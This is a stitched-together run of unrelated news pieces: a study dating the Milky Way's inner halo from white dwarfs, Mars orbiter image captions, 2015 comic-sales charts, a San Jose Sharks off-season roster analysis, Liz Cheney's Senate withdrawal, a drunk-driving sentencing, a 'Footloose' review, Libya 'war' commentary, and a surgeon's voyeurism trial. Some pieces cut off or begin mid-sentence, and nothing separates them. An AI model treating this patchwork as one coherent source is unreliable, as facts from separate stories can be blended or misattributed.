The finding should help astronomers better understand galactic evolution in a general sense, said study author Jason Kalirai of the Space Telescope Science Institute in Baltimore.
"You've basically eliminated one of the main hindrances that we had to put together a complete picture of how galaxies evolve and get shaped over time," Kalirai told SPACE.com. [Stunning Photos of Our Milky Way Galaxy]
The structure of the Milky Way
The Milky Way is composed of three main parts: a central bulge, a relatively flat disk and a roughly spherical surrounding halo.
The halo consists of globular clusters — densely packed conglomerations of hundreds of thousands or millions of stars — as well as singleton "field" stars that sit alone in the blackness of space. Many scientists think the halo is made up of two separate stellar populations, so they subdivide the region into an inner halo and an outer halo.
These three chief components of the Milky Way are thought to have formed at different times, with the halo taking shape first.
The oldest globular clusters in our galaxy are 13.5 billion years old, meaning they formed just 200 million years or so after the Big Bang that created the universe. But astronomers have had less success in dating halo field stars precisely, so an understanding of how and when the overall halo came to be has proved elusive. [Images: Peering Back to the Big Bang]
"We really don't have any good age diagnostics for low-mass stars," Kalirai said.
To help address this issue, Kalirai looked at dying halo field stars, ones that have just transitioned from active fusion factories to odd objects known as white dwarfs.
Hubble Space Telescope images of white dwarfs in NGC 6397. Young white dwarfs were found far away from the center of the globular cluster, where they were expected to be found. (Image: © NASA)
Studying new white dwarfs
White dwarfs are the remnants of relatively small stars that have exhausted their fuel, leaving behind dim but superdense cores of material. The vast majority of stars in the galaxy, including our own sun, will end up as white dwarfs.
A white dwarf's density is 1 million times that of "normal" matter that we're used to here on Earth, Kalirai said. But these exotic bodies are actually quite simple in important ways.
"It's such a simple star," Kalirai said. "The physics of the star is dominated by one atom — hydrogen."
Kalirai took advantage of this uncomplicated nature. Using data from several different telescopes around the world, he developed a way to determine the age of a newly minted white dwarf by analyzing its hydrogen emissions.
Kalirai realized that these emissions, analyzed properly, reveal the white dwarf's mass and other important characteristics, which can then be used to estimate how old the object was when it made the switch from active star to dying dwarf.
He calibrated the technique by studying the spectra of newly formed white dwarfs — identified by their temperature — in the globular cluster Messier 4, which has a known age of about 12.5 billion years. Once he confirmed that the method works, Kalirai looked at four stars in the inner halo that have just become white dwarfs.
Studying these four yielded an age of 11.7 billion years, plus or minus 700 million, for the inner halo field. The results — which are much more precise than previous inner-halo age estimates, Kalirai said — were published today (May 30) in the journal Nature.
"This new chronometer provides a means to determine the ages of stellar populations in the halo, and will increase our knowledge of how and where the galaxy’s stars have formed and evolved," Timothy Beers, of the Kitt Peak National Observatory and the National Optical Astronomy Observatory in Tucson, Ariz., wrote in an accompanying perspectives piece in Nature.
Understanding the Milky Way
An age of 11.7 billion years for the inner halo makes a certain amount of sense. The outer halo is thought to be slightly older, after all, and the most ancient galaxy clusters suggest that the Milky Way's building blocks began coming together around 13.5 billion years ago or so.
Kalirai plans to look at newly minted white dwarfs in the outer halo to get an age for the field stars in that region. And he also wants to study more dwarfs in the inner halo, so he can get a better idea of how long it took the stars there to form.
The new technique can't be directly applied to other galaxies, since white dwarfs so far away are too dim for their spectra to be studied in detail. But the results should still help astronomers understand fundamentals of galactic evolution that hold beyond our own Milky Way, Kalirai said.
"If you know |
. Some of these gullies are thought to have formed by flowing water or melting ice, but others may just be the result of landslides. The blue-purple areas in the enhanced color part of this image (which is not what Mars would really look like if you were there) show seasonal frosts that remain on the steep slopes facing away from the equator. Image: NASA/JPL/University of Arizona
This image shows part of a polar crater that still holds on to some summer ice, as well as beautiful sand dunes sculpted by the wind. Image: NASA/JPL/University of Arizona
This image highlights dunes (the darker spots) and exposed sedimentary rocks (the lighter spots) in the northeast part of the Sinus Meridiani crater, which stretches east to west near the Martian equator. The western portion of Sinus Meridiani was the landing site of the Mars rover Opportunity. The whole region is full of rocky outcroppings that record a history of groundwater and erosion. Image: NASA/JPL/University of Arizona
This close-up of part of the Melas Chasma, a vast canyon on Mars, exposes layered deposits that may be sediments from an old lake -- though they could also be windblown sediment deposits and volcanic ash. Image: NASA/JPL/University of Arizona
This false-color image shows seasonal streaks of material near Mars' north pole. Image: NASA/JPL/University of Arizona
This image focuses on a corner of the young Ada Crater, which is about 1.2 miles wide. Ada appears to be two nested craters that formed one after the other in a planetary one-two punch. It could also be a single large crater whose inner ledge slid downward. The crater seems to have exposed two different types of bedrock, the light-toned rock toward the outer edge and the darker rock on the inner edge. Image: NASA/JPL/University of Arizona
Another nested crater, aptly named the Bulls-Eye crater, is captured in this image. The central crater could be formed by unusual layers below the surface, or from a lucky second impact. Image: NASA/JPL/University of Arizona
This image features lava flows at the base of Olympus Mons, the tallest volcano in the solar system. To the left of the image is a thick flow with a rough surface texture, similar to "aa" flows in Hawaii. The image also features a long trough or channel, the product of a long eruption. At its end, the channel develops a roof and becomes a lava tube. A series of irregular pits can be found where the lava burst out of the tube. Image: NASA/JPL/University of Arizona
One of HiRISE's jobs is to search for the ideal landing site for the next Mars rover, the Mars Science Laboratory (colloquially dubbed "Curiosity"). This candidate landing site is in the northeast Syrtis Major Planum, a dark spot between Mars' northern lowlands and southern highlands. It is believed to be a low-relief shield volcano, and its dark color comes from basaltic volcanic rock. Image: NASA/JPL/University of ArizonaDiamond has released its prelimiary official year end stats for 2015, and like the unofficial one, Star Wars #1 was the top seller of the year among periodicals, while Saga Vol. 4 led among graphic novels and took the top three spots on the chart. Star Wars #1 was the best-selling single issue in over two decades.
Comics periodical sales were up 8.99% for the year, while graphic novel sales rose by 3.14%. Overall, sales increased by 7.17%, and Diamond sold over 98 million comic books, up 6 million from 2014. They shipped just over 8 million graphic novels.
Now, you may be wondering how this compares to last year. It’s actually up from 2014, when annual sales increased only 4.39%, with comics up 4.03% and GNs up 5.18%. So despite the feelings of unease and doom we’ve been noting, the numbers don’t support a sense of disaster. Doesn’t mean the numbers aren’t showing it, however.
Marvel was the #1 publisher again, beating DC by 13 points in dollars and 14 in units. Image remained at #3. Again, copmparing this to 2014, Marvel’s margin was only 6 points in dollars and a scant 4 in units. Images percentages are almost exactly the same.
Here’s the rest of the charts:
2015 TOP COMIC BOOK PUBLISHERS
PUBLISHER DOLLAR SHARE UNIT SHARE MARVEL COMICS 38.74% 41.82% DC ENTERTAINMENT 25.75% 27.35% IMAGE COMICS 9.93% 10.70% IDW PUBLISHING 5.59% 4.87% DARK HORSE COMICS 3.79% 3.10% BOOM! STUDIOS 2.28% 2.46% DYNAMITE ENTERTAINMENT 1.99% 1.79% TITAN COMICS 1.03% 0.95% EAGLEMOSS PUBLICATIONS 0.94% 0.20% VIZ MEDIA 0.93% 0.35% OTHER NON-TOP 10 9.00% 6.41%
2015 TOP 10 COMIC BOOKS
RANK DESCRIPTION PRICE ITEM CODE VENDOR 1 STAR WARS #1 $4.99 AUG158711-M MARVEL COMICS 2 SECRET WARS #1 $4.99 JUL158548-M MARVEL COMICS 3 BRAVEST WARRIORS: TALES FROM HOLO JOHN #1 $4.99 MAR151109-M BOOM! STUDIOS 4 ORPHAN BLACK #1 $3.99 DEC140468-M IDW PUBLISHING 5 DARK KNIGHT III: THE MASTER RACE #1 $5.99 SEP150179-M DC COMICS 6 STAR WARS VADER DOWN #1 $4.99 SEP150827-M MARVEL COMICS 7 DARTH VADER #1 $4.99 AUG158716-M MARVEL COMICS 8 SPIDER-GWEN #1 $3.99 APR158276-M MARVEL COMICS 9 INVINCIBLE IRON MAN #1 $3.99 JUL150696-M MARVEL COMICS 10 PRINCESS LEIA #1 $3.99 JAN150733-M MARVEL COMICS
2015 TOP 10 GRAPHIC NOVELS & TRADE PAPERBACKS
RANK DESCRIPTION PRICE ITEM CODE VENDOR 1 SAGA VOLUME 4 TP (MR) $14.99 OCT140644 IMAGE COMICS 2 SAGA VOLUME 1 TP (MR) $9.99 AUG120491 IMAGE COMICS 3 SAGA VOLUME 5 TP (MR) $14.99 JUL150565 IMAGE COMICS 4 CIVIL WAR TP $24.99 JAN072436 MARVEL COMICS 5 THE WALKING DEAD VOL. 23: WHISPERS INTO SCREAMS TP $14.99 FEB150545 IMAGE COMICS 6 BATMAN: THE KILLING JOKE SPECIAL EDITION HC $17.99 NOV070226 DC COMICS 7 SAGA VOLUME 2 TP (MR) $14.99 APR130443 IMAGE COMICS 8 THE WALKING DEAD VOL. 1: DAYS GONE BYE TP $14.99 NOV128157-M IMAGE COMICS 9 SAGA VOLUME 3 TP (MR) $14.99 JAN140556 IMAGE COMICS 10 STAR WARS VOLUME 1: SKYWALKER STRIKES TP $19.99 MAY150811 MARVEL COMICS
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Heidi MacDonald is the founder and editor in chief of The Beat. In the past, she worked for Disney, DC Comics, Fox and Publishers Weekly. She can be heard regularly on the More To Come Podcast. She likes coffee, cats and noble struggle.
Like this: Like Loading...After missing the playoffs for the first time since 2003, the San Jose Sharks parted ways with head coach Todd McLellan.
Off-Season Game Plan looks at a Sharks team that still has a strong enough core to be a playoff team, but whose direction has been altered over the past year.
When San Jose surrendered a three-games-to-none lead to Los Angeles in the first round of the 2014 Playoffs, the Sharks set their focus on bigger and tougher, with a dash of younger.
The big, bad Sharks thing never really materialized because the team couldn’t play John Scott significant minutes (imagine) while Mike Brown and Raffi Torres were injured. They did get a little younger, however, as rookie forwards Melker Karlsson, Chris Tierney and Barclay Goodrow along with defenceman Mirco Mueller got their feet wet in the NHL.
All the same, the strength of the Sharks remained what it has been for years. Despite rumours of the Sharks trying to deal Joe Thornton and/or Patrick Marleau last summer, they remained valuable contributors along with Joe Pavelski, Logan Couture, Brent Burns and Marc-Edouard Vlasic.
If the Sharks are keeping Marleau and Thornton – and they have no-trade clauses, so there’s little reason to think they want to go elsewhere – why not make the most of the last couple of years that they have?
Whomever the Sharks hire as their new coach will have to try to make the pieces fit, but it could be worse: at least San Jose has some pieces in place to ice a winning team.
HOCKEY OPS/COACH
Doug Wilson/Vacant
RETURNING FORWARDS NAME GP G A PTS SAT% SPSV% SCF% SAT%Rel OZS% '15-16 CAP Joe Pavelski 82 37 33 70 56.6 100.5 56.4 7.7 51.8 $6.0M Logan Couture 82 27 40 67 50.3 99.6 50.9 -1.4 50.0 $6.0M Joe Thornton 78 16 49 65 58.3 97.4 55.6 9.7 50.1 $6.75M Patrick Marleau 82 19 38 57 50.4 98.6 50.2 -1.3 48.6 $6.667M Tommy Wingels 75 15 21 36 48.4 98.7 47.5 -3.8 49.1 $2.475M Tomas Hertl 82 13 18 31 53.9 99.2 52.7 3.7 47.4 $925K Matt Nieto 72 10 17 27 52.6 96.3 53.6 1.1 49.8 $759K Chris Tierney 43 6 15 21 47.1 101.7 48.0 -4.9 49.8 $712K Ben Smith 80 7 7 14 49.6 100.4 49.9 -5.0 31.1 $1.5M Barclay Goodrow 60 4 8 12 47.3 99.9 46.9 -5.3 46.4 $627K Adam Burish 20 1 2 3 35.9 97.2 34.2 -18.0 31.6 $1.85M Mike Brown 12 0 0 0 44.0 100.7 55.9 -6.5 45.5 $1.2M Raffi Torres $2.0M
FREE AGENT FORWARDS NAME GP G A PTS SAT% SPSV% SCF% SAT%Rel OZS% '14-15 CAP STATUS Melker Karlsson 53 13 11 24 54.5 98.4 54.4 5.1 50.5 $825K RFA John Scott 38 3 1 4 45.5 100.9 46.2 -6.7 51.7 $700K UFA
After scoring a career-high 41 goals and 79 points (while shooting 18.2%) in 2013-2014, Joe Pavelski experienced some regression last season, but it wasn’t nearly as bad as it could have been because he increased his shot production and had another terrific season on the power play. Over the past two seasons, his 78 total goals and 35 power-play goals ranks second in the league, behind only Alex Ovechkin. He also turns 31 this summer, so it’s fair to wonder how much longer his production will stay at this level.
26-year-old Logan Couture is supposed to be a core piece for the Sharks’ next generation and he’s coming off a career-high 67 points, but his possession numbers weren’t ideal, given his favourable usage. It’s nothing that can’t be improved, particularly considering that he’s been a play driver throughout his career.
Even at 35-years-old, Joe Thornton remains elite when it comes to controlling play and he does it without the benefit of favourable zone starts. Even if he’s not quite the point-per-game producer that he was for so many years, his overall play remains impressive. Playoff disappointments hang over Thornton, but the Sharks are clearly better with him on the ice.
There are only four active players with more goals than Patrick Marleau’s 456, but he’s coming off a season in which he scored 19 goals in 82 games – he hasn’t missed a game in the past six seasons – and his career-low shooting percentage (8.2%) led to his lowest goal-per-game production (0.23) since 1999-2000. It’s certainly possible that Marleau, 36, is due for some decline, but he’s been a Shark since 1997 and, after all that time, it’s difficult to imagine him playing anywhere else.
Physical winger Tommy Wingels handles a supporting role, versatile enough to score a bit, hit a lot, and play in all situations. His possession stats haven’t been ideal, but Wingels is more a complementary piece rather than one expected to carry play in his own right.
Following a promising rookie campaign in 2013-2014, Tomas Hertl took a step back last season. His role changed – he wasn’t riding shotgun with Joe Thornton as often and moved to centre for a time, but the Sharks may be better served with Hertl in the role of scoring winger, at least for now.
A winger with good speed, Matt Nieto’s second season in the league wasn’t much different from his first though, considering the Sharks’ overall decline, Nieto’s relative possession stats were better. Until he shows more finish around the net, Nieto’s a fit as a third-line winger.
Chris Tierney started last season with the Sharks, was sent down to the AHL, then returned and played well down the stretch, contributing 14 points in his last 18 games. He’s only 20-years-old, and need to improve his work in the faceoff circle (43.9%), but Tierney has upside.
Acquired from the Chicago Blackhawks, Ben Smith is a high-energy forward who can play wing and centre, block shots and can offer a little bit of production in a fourth-line role.
Barclay Goodrow wasn’t a big scorer in junior, and he may have been overmatched as a rookie pro last season, but better to develop a 22-year-old who is inexpensive and can get better rather than sticking with veterans that have been around the block few too many times.
A surprise coming out of Sweden as an undrafted free agent, Melker Karlsson was productive as a rookie, which was certainly helped by the opportunity to play with Thornton. Karlsson isn’t necessarily first-line material, however, so it’s not unreasonable to move him down the depth chart and look elsewhere for a better alternative for Thornton’s wing.
San Jose’s ill-fated plan to pay for grit was mostly unsuccessful when it came to the contributions of Adam Burish and Mike Brown. Raffi Torres missed all of last season with knee problems, but if he comes back, the heavy hitter may still be able to help.
As for how to fill out the lineup, the Sharks don’t have great needs up front. If they could create room for top prospect Nikolay Goldobin, that might be a good idea, but San Jose’s forward group doesn’t appear to need much more than minor tweaking.
RETURNING DEFENCE NAME GP G A PTS SAT% SPSV% SCF% SAT%Rel OZS% '15-16 CAP HIT Brent Burns 82 17 43 60 53.4 98.7 52.0 3.6 50.5 $5.76M Marc-Edouard Vlasic 70 9 14 23 51.9 100.2 52.3 1.8 43.9 $4.25M Justin Braun 70 1 22 23 50.4 99.9 49.6 -1.6 44.6 $3.8M Mirco Mueller 39 1 3 4 50.4 96.6 51.2 -1.7 49.6 $894K Matt Tennyson 27 2 6 8 47.6 101.4 44.9 -4.2 52.3 $625K
FREE AGENT DEFENCE NAME GP G A PTS SAT% SPSV% SCF% SAT%Rel OZS% '14-15 CAP HIT Matt Irwin 53 8 11 19 51.5 99.6 52.7 0.0 53.0 $1.0M UFA Brenden Dillon 80 2 8 10 51.6 96.5 49.7 1.1 47.3 $1.25M RFA Scott Hannan 58 2 5 7 47.3 101.1 48.7 -5.0 51.6 $1.0M UFA
Though he’s missed from right wing, where he was a dominant forechecker, Brent Burns is still very effective back on the blueline, as one might expect from a guy 6-foot-5 with the hands to play a power forward scoring role.
A rock-steady presence on the San Jose defence, Marc-Edouard Vlasic gets the toughest assignments and continues to push play in the right direction. It’s simply not easy to start such a low percentage of shifts in the offensive zone, while facing top-tier opposition and still have favourable shot differentials, yet Vlasic delivers that on a consistent basis. He doesn’t score much, surpassing 26 points in a season once in his career, and that serves to keep him underrated.
Justin Braun has progressed steadily into a top-four role on the San Jose blueline and has logged 21 minutes per game over the past two seasons, earning a five-year contract extension.
The 18th pick in the 2013 Draft, Mirco Mueller learned on the job last season as a teenaged rookie on the San Jose defence. He has lots of potential, but is still very young, so he can continue to develop while playing third-pair minutes.
A California native who had an extended audition in San Jose last year, Matt Tennyson is 25-years-old, so his time to contribute is now, but he was generally overmatched last season and doesn’t figure to hold down a role higher than seventh on the defensive depth chart.
Acquired in a trade with Dallas for Jason Demers, Brenden Dillon was a fine addition to the Sharks defence. Dillon has the size and temperament to play a physical, stay-at-home role.
The Sharks need to beef up their defensive depth chart, especially if unrestricted free agents Matt Irwin and Scott Hannan move on. Francois Beauchemin, Andrej Sekera, Christian Ehrhoff, Paul Martin, Johnny Oduya, Barrett Jackman, Jeff Petry, Cody Franson – there are a lot of viable candidates that could add some stability on the back end.
RETURNING GOALTENDER NAME GP W L T SV% EV SV% ADJ SV% '15-16 CAP Alex Stalock 22 8 9 2 0.902 0.910 0.919 $1.6M
FREE AGENT GOALTENDER NAME GP W L T SV% EV SV% ADJ SV% '14-15 CAP STATUS Antti Niemi 61 31 23 7 0.914 0.922 0.922 $3.8M UFA
Goaltending should have a new look next season. Alex Stalock remains under contract and while it might have been ideal to have him take the reins as the starter, he’s coming off a season in which he posted a.902 save percentage in 22 games.
The free agent options are limited, presuming that the Sharks are prepared to let Antti Niemi hit the market. Michal Neuvirth and Karri Ramo may be the best UFA options if the Minnesota Wild manage to retain Devan Dubnyk, so that could steer the Sharks in the direction of a trade.
The good news is, there are a lot of possibilities down that avenue. Jimmy Howard, Robin Lehner, Cam Talbot, Brian Elliott, Jonathan Bernier and Ryan Miller are among the goaltenders with varying degrees of availability that might fit as a number one for San Jose.
TOP PROSPECTS PLAYER POS. GP G A PTS +/- TEAM (LEAGUE) Nikolay Goldobin RW 38 11 10 21 -9 HIFK Helsinki (SML) Julius Bergman D 60 13 29 42 -3 London (OHL) Gabryel Boudreau-Paquin LW 7 2 7 9 +4 Chicoutimi (QMJHL) Rourke Chartier C 58 48 34 82 +33 Kelowna (WHL) Konrad Abeltshauser D 50 3 16 19 +2 Worcester (AHL) Kevin Labanc RW 68 31 76 107 +13 Barrie (OHL) Michael Brodzinski D 36 4 10 14 +10 Minnesota (Big 10) Dylan Sadowy LW 65 42 32 74 +5 Saginaw (OHL) Dan O'Regan C 41 23 27 50 +40 Boston University (HE) Taylor Doherty D 59 2 5 7 -3 Worcester (AHL)
DRAFT
9th – Travis Konecny, Ivan Provorov, Mikko Rantanen, Lawson Crouse
FREE AGENCY
The Sharks have approximately $55.6M committed to the 2015-2016 salary cap for 19 players.
NEEDS
One forward, two defencemen, starting goaltender
WHAT I SAID THE SHARKS NEEDED LAST YEAR
One top-six forward, depth forwards, one top-four defenceman, backup goaltender
THEY ADDED
Chris Tierney, Barclay Goodrow, Tyler Kennedy, Tye McGinn, John Scott, Mirco Mueller
TRADE MARKET
Joe Thornton, Patrick Marleau (but not really?), prospects
POSSIBLE 2015-2016 SAN JOSE SHARKS DEPTH CHART LEFT WING CENTRE RIGHT WING Tomas Hertl Joe Thornton Joe Pavelski Patrick Marleau Logan Couture Tommy Wingels Melker Karlsson Chris Tierney Matt Nieto Barclay Goodrow Marcel Goc Ben Smith Raffi Torres Adam Burish Nikolay Goldobin Chris Vande Velde Dan O'Regan Mike Brown
LEFT DEFENCE RIGHT DEFENCE GOALTENDER Marc-Edouard Vlasic Justin Braun Michal Neuvirth Brenden Dillon Brent Burns Alex Stalock Barret Jackman Mirco Mueller Troy Grosenick Karl Stollery Matt Tennyson Dylan DeMelo Konrad Abeltshauser
Enhanced stats via www.war-on-ice.com.
(SAT% - shot attempt percentage; SAT%Rel - shot attempt percentage, relative to team when off the ice; SPSV% - combined on-ice shooting and save percentage; OZS% - percentage of faceoffs to start shift in the offensive zone vs. defensive zone)
Scott Cullen can be reached at scott.cullen@bellmedia.caCheney has consistently trailed her primary opponent in public polling. Cheney: 'I have decided to discontinue my campaign'
Liz Cheney is ending her campaign for Senate in Wyoming, the Republican announced in a statement early Monday morning.
Citing health concerns in her family, Cheney said the issues arising prompted her to end her GOP primary challenge to Sen. Mike Enzi (R-Wyo.).
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“Serious health issues have recently arisen in our family, and under the circumstances, I have decided to discontinue my campaign. My children and their futures were the motivation for our campaign and their health and well-being will always be my overriding priority,” Cheney said in the statement.
( Also on POLITICO: 10 fiery quotes from Liz Cheney)
Cheney pledged to keep working for her political values despite ending the campaign.
“Phil and I want to thank the thousands of people in Wyoming and all across the country who have supported my campaign. As a mother and a patriot, I know that the work of defending freedom and protecting liberty must continue for each generation. Though this campaign stops today, my commitment to keep fighting with you and your families for the fundamental values that have made this nation and Wyoming great will never stop.”
Late Sunday night, as news that Cheney was likely to drop out of the race swirled, two GOP sources said that a recent incident involving a member of Cheney’s immediate family prompted her to reconsider the race, among other factors.
Cheney announced a primary challenge to Enzi last July and raised more than $1 million for her campaign, largely from elite Republicans close to her father, former Vice President Dick Cheney. She has consistently trailed Enzi in public polls.
( Also on POLITICO: How well do you know Liz Cheney?)
Before the campaign’s conclusion was confirmed, Cheney finance chairwoman Margaret Parry was noncommittal in a short phone call.
“That’s a very personal issue, and I think that you need to get a hold of Liz Cheney,” she said.
Republicans — including some Cheney supporters — privately expressed surprise at Cheney’s move, though she is also said to have been discouraged by Enzi’s persistent polling lead and apparent determination to buck pressure to retire.
CNN first reported the news of Cheney’s plans.
( POLITICO Magazine: Growing up Cheney)
The departure of Cheney, 47, from the race would clear the way for Enzi, 69, to handily win a fourth term. Wyoming has not elected a Democrat to the Senate since 1970.
The younger Cheney never got much traction. The Wyoming GOP establishment, including the two other members of the congressional delegation and former Sen. Alan Simpson, quickly coalesced behind Enzi. A first-time candidate, she even clashed with local Wyoming newspapers.
Since July, she has struggled with a series of setbacks.
A public spat with her openly lesbian sister, Mary, over same-sex marriage dominated national headlines for several days in November. Mary Cheney and her wife, Heather Poe, criticized the candidate on Facebook, saying she had applauded their union in the past.
This prompted Dick and Lynne Cheney to release a public statement saying that Liz Cheney “has always believed in the traditional definition of marriage.”
Cheney has also been beset by criticism that she is a carpetbagger.
She became a Wyoming resident in only 2012. Her husband Phil Perry — who has continued to practice law in Washington, D.C. — was registered to vote in both Virginia and Wyoming for the past nine months, until just before Christmas. The candidate herself was fined $220 in August for purchasing an instate fishing license when she was not yet eligible. She received the license just 72 days after closing on her home, but the law requires 365 days of residency.
Maggie Haberman and Mike Allen contributed to this report.A sentence of 30 days is the punishment for a 70-year-old motorist who was drunk when he fatally ran over a 5-year-old boy whose wagon rolled into the vehicle’s path on a southeastern Minnesota street.
Myles T. Keller, who lives near Mantorville, Minn., was sentenced last week in Olmsted County District Court after pleading guilty to misdemeanor drunken driving in connection with the death of Lukas Wharton. The boy rolled down an embankment into the road while playing with his siblings on May 24, 2016, outside their home near Byron. Lukas died about a week later.
Keller’s blood alcohol content an hour after the crash was between 0.081 and 0.101 percent, according to the state Bureau of Criminal Apprehension. The legal limit for driving in Minnesota is 0.08 percent.
In July of this year, Keller entered what is known as an Alford plea, meaning that he maintained being not guilty of the charge but acknowledged there was enough evidence to convict him. Dismissed were a more serious gross-misdemeanor count of reckless driving and a second misdemeanor drunken-driving charge.
Keller could be granted the option of serving his time on work release. Judge Kathy Wallace split the time in two 15-day segments: One begins on Lukas’ birth date and the other on the date of the crash.
His sentence also includes a year’s probation, during which he must abstain from alcohol, stay out of bars and liquor stores and perform 40 hours of community service.
Myles Keller
County Attorney Mark Ostrem said a charge of felony criminal vehicular homicide was not filed because it would have been difficult to prove beyond a reasonable doubt that Keller’s actions behind the wheel played a substantial role in Lukas’ death. Keller was driving within the speed limit and stopped immediately after hitting the boy and called 911, according to authorities.
KAAL-TV in Rochester reported that during sentencing, Lukas’ father, Josh Wharton, said, “I still walk miles and miles at night searching for him [Lukas]... I’d do anything to hold his hand or be with him.”Photo
Nobody can stop the youth of America from dancing, and nobody can stop the American film industry from making movies about people who try. The most impressive thing about Craig Brewer’s remake of “Footloose” — the 1984 Kevin Bacon movie with the Kenny Loggins theme song that will now be stuck in my cranium for another 27 years — is that it handles its shaky, shopworn premise with sensitivity and conviction.
The elders of the little town of Bomont, Ga., have banned dancing (and loud music and a lot of other fun) not out of prudery, but as a result of misguided but understandable parental concern. After a wild night drinking beer and shaking their blue-jeaned tailfeathers to Blake Shelton’s new version of the theme song, a group of local teenagers were killed in a road accident. Among them was the only son of the Rev. Shaw Moore (Dennis Quaid), who also has a daughter named Ariel (Julianne Hough).
Three years later, Ariel is a high school senior running wild with a local racecar driver (Patrick John Flueger), and the town’s young people are sitting still and being quiet under the watchful eyes of the authorities, occasionally sneaking out for some clandestine toe tapping. Into this scene comes Ren (Kenny Wormald), who moves from the notoriously dance-crazy city of Boston to live with his uncle and aunt.
If you remember the first “Footloose,” you know more or less what happens, and you may find some of the alterations amusing. Instead of a game of chicken on tractors, for instance, there is a dirt-track race involving modified school buses. Mr. Brewer films this lumbering action sequence, and several brawls and fights, with more verve and relish than he brings to the dance numbers, which are, in the age of “Glee,” the “High School Musical” movies and the mighty “Step Up” franchise, woefully inadequate.
Photo
As is Mr. Wormald. He has energy but no real magnetism, and while he may be in possession of what are technically known as “moves,” his dancing lacks sensuality and a sense of release. Much better is Miles Teller, as Willard, Ren’s drawling sidekick — Mater to his Lightning McQueen, if you’ll permit a “Cars” reference. With his scarecrow limbs and slack features, Mr. Teller has a natural charisma that is both comic and kind of sexy.
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“Footloose” could use more of that, but Mr. Brewer’s expertise — as shown in his previous films, “Hustle & Flow” and “Black Snake Moan” — lies in pulpy vulgarity and florid melodrama. These elements certainly have a place in this movie, as does the director’s evident affection for the music and idioms of the South. Apart from the inevitable ’80s-throwback and popped-up hip-hop tracks, the music in this “Footloose” is better and more eclectic than the original, with some blues, country and vintage metal mixed in with the peppy dance tunes.The Thread is an in-depth look at how major news and controversies are being debated across the online spectrum.
war — a state of usually open and declared armed hostile conflict between states or nations (2) : a period of such armed conflict (3) : state of war
kinetic — of or relating to the motion of material bodies and the forces and energy associated therewith
— Merriam-Webster.com
Don’t feel bad. We’re all confused.
While the week was full of news — the grave, anxiety-inducing kind that focuses the mind — it lacked certainty. It lacked clarity. Many voices spoke, questions were asked, but answers were few. Or foggy, or muddled. Without a doubt it was the mass confusion brought on by the many unknowns, both known and unknown (you see where I’m going here, I’m sure), that surround what I will for now call, for lack of a more definite term, the operation in Libya, that dominated the commentary since we gathered here last.
Manu Brabo/European Pressphoto Agency
You could take your pick of what surely were hundreds of questions posed throughout the week, but pretty much everyone agreed that the answers from the president and his administration were vague, evasive and offered nothing like the confidence a commander in chief might be expected to offer in the days of a freshly launched … call it what you will.
In one of the week’s many “questions” posts, Politico began:
It’s hard to find a precedent for a president ordering U.S. military forces into action, then heading off for a five-day tour of Latin America, but that’s just what President Barack Obama did when he approved the deployment of air and naval assets to establish a no-fly zone over Libya. His homecoming gift is a barrage of questions about the military action Obama aides refuse to label a “war.”
Politico’s questions — Can we really get out fast? France? Are you kidding? Will Congress rebel? What if Qaddafi holds on? — were typical of the widespread inquiry, but it was the most basic of all, asked at a U.S. State Department press conference, that gave birth to the positively Rumsfeldian phrase now ringing in everyone’s conflict lexicon.
Rick Richman at Commentary laid it out here:
At the State Department press conference yesterday, acting deputy spokesman Mark Toner was asked a straightforward question: QUESTION: Are we at war in Libya? MR. TONER: We are implementing UN Security Council Resolution 1973. It is clearly a combat operation or combat mission. As the President made very clear, there will be no U.S. ground force involved in this and that the U.S. role is upfront — frontloaded, if you will, on this. But that’s going to obviously recede into a more — a broader international coalition as we move forward to implement the no-fly zone. QUESTION: So you would not say we’re at war? MR. TONER: I think we’ve — you love these sweeping characterizations and I appreciate it. QUESTION: This isn’t about what I love or do not love. (Laughter.) But the question on the table is: Are we at war in Libya or not? MR. TONER: I would say it’s a combat mission, clearly. But beyond that, you can parse that out. So it’s not a war; it’s a frontloaded combat mission that’s obviously going to recede into a coalition. Later in the afternoon, in a press briefing on Air Force One as it returned to Washington, Deputy National Security Advisor for Strategic Communications Ben Rhodes was asked “if it’s not a war, what’s the right way to characterize this operation?” MR. RHODES: … I think what we’ve said is that this is a military operation that will be limited in both duration and scope. Our contribution to this military operation that is enforcing a U.N. Security Council resolution is going to be limited — time limited to the front end, and then we’ll shift to a support role. … Q But it’s not going to war, then? MR. RHODES: Well, again, I think what we are doing is enforcing a resolution that has a very clear set of goals, which is protecting the Libyan people, averting a humanitarian crisis, and setting up a no-fly zone. Obviously that involves kinetic military action, particularly on the front end. |
webcam in their bedroom, the Advocate reported.
Sadeghi will face a separate trial for the second-degree rape charge relating to his wife, prosecutors say.
After the verdict Wednesday, defense attorney Michael Magner told reporters Sadeghi was “obviously very pleased, he’s very relieved.”
“We have to go on to the next trial on June 5, and he’s just as innocent of those charges as he is of these,” Magner added. “We’re going to go to trial and we’re going to win, because I have an innocent client.”
Magner, a former prosecutor, called the trial a “waste of time” and said it was more suited for civil court, the Times-Picayune reported. One patient has reportedly retained an attorney and is seeking $750,000 in damages from Sadeghi.
During the proceedings, Magner told jurors, “There’s nothing sexual about these pictures. There was nothing immoral about them. They’re on Dr. Sadeghi’s phone, but it’s not even clear who took these pictures.”
Meanwhile, Lisa Wayne, another lawyer on Sadeghi’s team, told the jury that the video voyeurism case is based on “a lapse of judgment” by Sadeghi and his staff, rather than a criminal act.
“He’s embarrassed for himself. He’s embarrassed for his nurses. And he’s embarrassed that these women have to come in here and talk to people about these images,” Wayne said in opening statements.
“This case is about the nurses and the doctor in the operating room acting badly, acting immaturely.… But (prosecutors) are trying to make it dirty.
“You’re going to make him a sex offender? For this?” Wayne added.
Sadeghi, according to Wayne, had a reason to send the pics: his girlfriend represented the firm behind a new medical device he was using. There was “never anything sexual” about the doctor’s footage, Wayne argued.
During Tuesday’s testimony, jurors heard from another of Sadeghi’s alleged victims: a Baton Rouge woman who had breast reconstruction done by him in May 2015 after a double mastectomy, the Times-Picayune reported.
Prosecutors presented a photo of the woman, nude from the waist down, with a nurse leaning slightly above her parted legs. A medical instrument was in the nurse’s masked mouth. Rodrigue told jurors they could infer what kind of motion the nurse was making with the tool, according to Fox 8.
Sadeghi allegedly sent this pic to nurses in a group text message.
“I thought I was in the hands of people that I trusted and I felt like I was taken advantage of,” the woman testified, according to the Times-Picayune.
The cellphone image “was not taken for medical content or for clinical reasons, as you can tell,” she told jurors. “I feel it’s morally wrong and very disturbing. I feel it’s of sexual content.”
